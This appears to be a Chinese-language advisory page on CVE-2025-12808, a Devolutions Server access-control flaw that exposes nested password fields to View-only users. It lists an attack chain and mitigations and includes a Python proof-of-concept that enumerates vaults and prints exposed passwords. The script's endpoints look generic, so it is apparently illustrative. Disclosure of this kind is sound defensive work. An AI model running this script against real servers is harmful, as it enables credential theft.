IPBUF安全漏洞报告
English
CVE-2025-12808 CVSS 6.5 中危

CVE-2025-12808: Devolutions Server View-only用户密码泄露漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-12808
漏洞类型
不正确的访问控制(Improper Access Control)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

CVE-2025-12808Improper Access Control密码泄露Devolutions Server权限绕过敏感信息泄露View-only用户垂直权限提升

漏洞概述

CVE-2025-12808是Devolutions Server中的一个中等严重性安全漏洞,CVSS评分6.5。该漏洞源于不正确的访问控制机制,允许拥有View-only(只查看)权限的低权限用户检索敏感的第三级嵌套字段数据,包括密码列表中的自定义值。这一漏洞可能导致敏感凭据信息泄露,对系统安全性构成威胁。攻击者利用此漏洞可以在不具备相应权限的情况下访问本应受限的敏感数据,可能导致组织内部密码、账户凭据等关键信息的暴露。该漏洞需要攻击者具有有效的用户账户(低权限即可),但无需特殊用户交互即可实施攻击。

技术细节

该漏洞存在于Devolutions Server的访问控制层。当系统处理View-only用户的请求时,未能正确限制对第三级嵌套字段(如密码列表中的自定义值)的访问权限。在正常的安全设计中,只读用户应当只能访问其被明确授权查看的一级和二级字段内容。然而,由于访问控制检查不完整,攻击者可以通过构造特定的API请求或利用现有的只读接口,递归访问存储在更深层级的敏感数据。攻击者利用低权限账户,通过精心设计的请求路径即可绕过权限检查,获取存储在密码列表中的敏感信息,包括自定义字段中的密码值和其他凭据数据。这种垂直权限提升漏洞表明服务器端对用户输入的字段访问路径验证不足。

攻击链分析

STEP 1
步骤1
攻击者获取Devolutions Server的低权限View-only用户账户
STEP 2
步骤2
使用低权限账户登录系统,获取有效的会话令牌
STEP 3
步骤3
通过API枚举可访问的密码库和密码条目
STEP 4
步骤4
构造包含include_nested参数的请求,获取第三级嵌套字段
STEP 5
步骤5
从响应中提取密码列表的自定义值,实现敏感信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12808 PoC - Devolutions Server Password Disclosure # Authenticate with View-only account and retrieve nested sensitive fields import requests import json TARGET = "https://vulnerable-server/devolutions/api" USERNAME = "viewonly_user" PASSWORD = "viewonly_password" def exploit(): # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} auth_response = session.post(f"{TARGET}/auth/login", json=login_data) token = auth_response.json().get("token") # Step 2: Enumerate accessible resources headers = {"Authorization": f"Bearer {token}"} vault_response = session.get(f"{TARGET}/vaults", headers=headers) vault_id = vault_response.json()[0]["id"] # Step 3: Access password entries and extract nested fields entries = session.get(f"{TARGET}/vaults/{vault_id}/entries", headers=headers) for entry in entries.json(): entry_id = entry["id"] # Step 4: Retrieve third-level nested sensitive fields detail = session.get( f"{TARGET}/entries/{entry_id}?include_nested=true", headers=headers ) # Extract password list custom values passwords = detail.json().get("customFields", {}).get("passwordList", []) for pw in passwords: print(f"Exposed Password: {pw['value']}") if __name__ == "__main__": exploit()

影响范围

Devolutions Server 2025.3.2.0 - 2025.3.5.0
Devolutions Server 2025.2.15.0 及更早版本

防御指南

临时缓解措施
如果无法立即升级,建议限制View-only角色的使用,对包含敏感密码的条目实施额外的访问控制策略,并启用详细的访问审计日志以监控异常的数据访问模式。同时考虑实施网络层隔离,限制对Devolutions Server管理接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表